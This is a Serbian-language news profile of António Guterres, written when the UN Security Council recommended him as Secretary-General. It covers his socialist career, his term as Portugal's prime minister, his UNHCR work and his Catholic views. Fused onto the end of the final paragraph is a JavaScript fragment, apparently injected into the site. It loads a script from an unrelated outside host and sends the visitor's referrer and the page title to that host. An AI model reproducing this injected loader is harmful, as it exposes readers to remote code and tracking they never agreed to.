SOCIJALISTA, KATOLIK, MIROTVORAC: Ko je Antonio Gutereš, novi prvi čovek UN-a?

SOCIJALISTA, KATOLIK, MIROTVORAC: Ko je Antonio Gutereš, novi prvi čovek UN-a?

Foto: Beta/AP


Gutereš je bio premijer Portugalije u godinama blagostanja, zemlja je imala brz ekonomski rast, a siromašni su mu i danas zahvalni što je uveo garantovanu minimalnu platu

„Zahvalnost i skromnost” prva su osećanja koja je izrazio nekadašnji portugalski premijer Antonio Gutereš povodom jednoglasne preporuke Saveta bezbednosti UN-a da bude izabran za novog generalnog sekretara te organizacije.

Šezdesetsedmogodišnji Gutereš, nekadašnji lider Socijalističke partije i portugalski premijer od 1995. do 2002, vodio je u svih pet prethodnih neformalnih glasanja, ali je brza jednoglasna odluka ipak iznenadila mnoge diplomate.

Čestitke su počele da pristižu sa svih strana sveta, uključujući i najmoćnije države i institucije. Ali, iako su međunarodni mediji insistirali da su ovi izbori za novog generalnog sekretara UN-a bili „najtransparentniji do sada”, potvrđene su i sumnje u pogledu stava nekih „savezničkih” zapadnih zemalja, pre svega nemačke kancelarke Angele Merkel i predsednika Evropske komisije Žan-Kloda Junkera, koji su navodno, uz druge članice EU kao što je, na primer, Mađarska, podržavali kandidaturu Kristaline Georgijeve iz Bugarske, objavljenu u poslednji čas.

Po svemu sudeći, glas Rusije, jedne od pet stalnih članica Saveta bezbednosti s pravom veta, u korist bivšeg portugalskog premijera bio je presudan.

„Dame i gospodo, prisustvujete istorijskom događaju. Nikada ranije nije se radilo na ovakav način. Ovaj izborni proces bio je veoma važan”, rekao je novinarima Vitalij Čurkin, ambasador Rusije u UN-u, objavljujući konačnu odluku.

To je naglasio i Gutereš tokom svog „pobedničkog govora” na četiri jezika – portugalskom, španskom, francuskom i engleskom.

Čovek koga je Savet bezbednosti javnim glasanjem i jednoglasno preporučio za novog generalnog sekretara UN-a koji je takođe deset godina, do decembra 2015, bio i visoki komesar UN-a za izbeglice – pohvalio je „izuzetnu transparentnost i otvorenost” dosad nezabeležene izborne procedure i izjavio da ga, ukoliko Generalna skupština UN-a potvrdi njegov izbor (što se očekuje 13. oktobra), čekaju „ogromni izazovi, i obećao da će „služiti najranjivijim, žrtvama sukoba, terorizma, kršenja prava, siromaštva i nepravdi”.

Foto: AP

Foto: AP

Pritiskao je bogate zemlje da čine više za izbeglice, a odbio je kandidaturu za predsednika Portugalije, jer više voli da “šutira loptu” nego da bude “sudija”

Antonio Gutereš rođen je u Lisabonu 30. aprila 1949, u imućnoj seljačkoj porodici poreklom iz unutrašnjosti zemlje. Žestok katolik, smatra se osobom konsenzusa, što se i potvrdilo u jednoglasnoj počasti koje su mu odale sve stranke predstavljene u portugalskom parlamentu, uključujući i Komunističku partiju i Levi blok (Bloko de eskuerda, radikalna levica), koji u parlamentu podržavaju sadašnju manjinsku vladu predvođenu Socijalističkom partijom.
Samog sebe opisuje kao čoveka od dela, koji je svoje „činove” zaradio na mestu svetskog šefa za izbeglice, snažno pritiskajući bogate zemlje da čine više. Nekoliko puta pominjan je kao mogući kandidat za portugalskog predsednika, ali je odgovarao da to ne bi prihvatio jer više voli da „šutira loptu” nego da bude „sudija”.

Po izboru na položaj visokog komesara UN-a za izbeglice (UNHCR) uspeo je da reformiše organizaciju smanjujući osoblje stacionirano u Ženevi za jednu trećinu i povećavajući učinak na terenu.

Gutereš je prišao Socijalističkoj partiji Portugalije odmah posle „Revolucije karanfila” 1974, kojom je okončana gotovo pet decenija duga diktatura i najavljen program od tri glavne tačke – demokratizacija, dekolonizacija i razvoj.

Po struci inženjer i partijski čovek, izabran je u parlament na prvim izborima posle revolucije održanim 1976, vrlo brzo stekavši reputaciju darovitog govornika.

Godine 1992, kao vođa „pragmatične” frakcije, postao je generalni sekretar Socijalističke partije (tada u opoziciji), i stičući popularnost poveo svoju stranku u pobedu s relativnom većinom na opštim izborima 1995, okončavši tako desetogodišnju vladavinu liberalno-konzervativne Socijaldemokratske partije Anibala Kavako Silve i potom postavši premijer.

To su bile godine blagostanja. Portugalija je doživljavala brz ekonomski rast (pristupila je EU zajedno sa Španijom 1986), što je omogućilo Guterešu da ustanovi „garantovanu minimalnu platu”, jednu od najsimboličkijih mera njegove vlade, koju i danas pamte najranjiviji sektori portugalskog društva.

Oktobra 1999, socijalisti ponovo pobeđuju, iako granično, to jest opet bez apsolutne većine (osvajaju 115 od 230 poslaničkih mesta). Gutereš će ostati zabeležen kao prvi šef manjinske vlade (od 1995. do 1999, sa 112 poslanika), koji je, posle demokratskih promena u Portugaliji uspeo da ostane na položaju tokom celog mandata.

Oduševljeni zastupnik Evropske unije, Gutereš je kao svoj prioritet postavio zadovoljenje kriterijuma za članstvo u evrozoni. Portugalija je bila jedna od 12 zemalja koje su usvojile zajedničku valutu odmah po njenom uvođenju, 1. januara 2002. godine.

Godine 1998. ostao je udovac, a ponovo se oženio 2001. Ima dvoje dece iz prvog braka. Njegovi protivnici, uglavnom iz kruga socijalista, okrivljuju ga da je doprineo prevazi glasova protiv liberalizacije striktnog zakona o abortusu na referendumu održanom 1998. godine. Gutereš je dopustio referendum, ali se javno usprotivio promeni zakona u ime svojih „moralnih principa”.

Za vreme socijalističkog premijera Hozea Sokratesa, 2007. godine, održan je drugi referendum o istom pitanju, na kome se 59,25 odsto glasalih izjasnilo u korist dobrovoljnog prekida trudnoće.
Kada je u bivšoj portugalskoj koloniji Istočnom Timoru izbilo nasilje nakon što je ova teritorija na referendumu 1999. glasala za nezavisnost od Indonezije, Gutereš je predvodio diplomatske napore usmerene da se UN ubede da intervenišu i povrate mir. Portugalsko predsedavanje Evropskom unijom u prvoj polovini 2000. godine takođe se smatralo veoma pozitivnim.

Lisabon je potom bio domaćin prvog samita Evropske unije i Afrike, a Evropska komisija usvojila je „Lisabonsku strategiju”, u nastojanju da se EU pretvori u „najdinamičniju i najkonkurentniju ekonomiju zasnovanu na znanju” do 2010. godine.

No, sa usporavanjem ekonomije Guterešova popularnost počela je da opada, izazvavši i izvesne polemike. Neki kritičari optuživali su ga za „političko manevrisanje” i „zaletanje”. Krajem 2001, Gutereš je posle poraza socijalista na lokalnim izborima dao ostavku rekavši da želi da spreči pretvaranje zemlje u „političku močvaru”.

U svojstvu predsednika Socijalističke internacionale od 1999, napustio je domaću politiku i okrenuo se diplomatskoj karijeri u inostranstvu, otvarajući put Hozeu Manuelu Barosu (lideru Socialdemokratske partije na opštim izborima 2002.), koji je takođe prekinuo svoj mandat da bi postao predsednik Evropske komisije (od 2004. do 2014.). U tom periodu Gutereš je često pominjan kao „mogući kandidat” na predsedničkim izborima, ali je još jednom odbio ulogu „sudije”.

Opšte je uverenje u Portugaliji da je budući najviši zvaničnik UN-a na međunarodnoj sceni, a posebno na vodećem položaju u UNHCR-u, našao najbolje mesto da iskaže svoju „posvećenost humanitarnim principima, dijalogu i izgradnji mira”.

Njegova pobeda u trci za mesto generalnog sekretara UN-a takođe se smatra (neočekivanom) pobedom nad cinizmom i prljavim zakulisnim igrama svetske politike u ključnom trenutku. Jedno je sigurno: socijalista, katolik i republikanac, Gutereš, suočiće se s najozbiljnijim izazovom u svojoj političkoj i diplomatskoj karijeri.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

+ Trenutno nema komentara

Dodajte komentar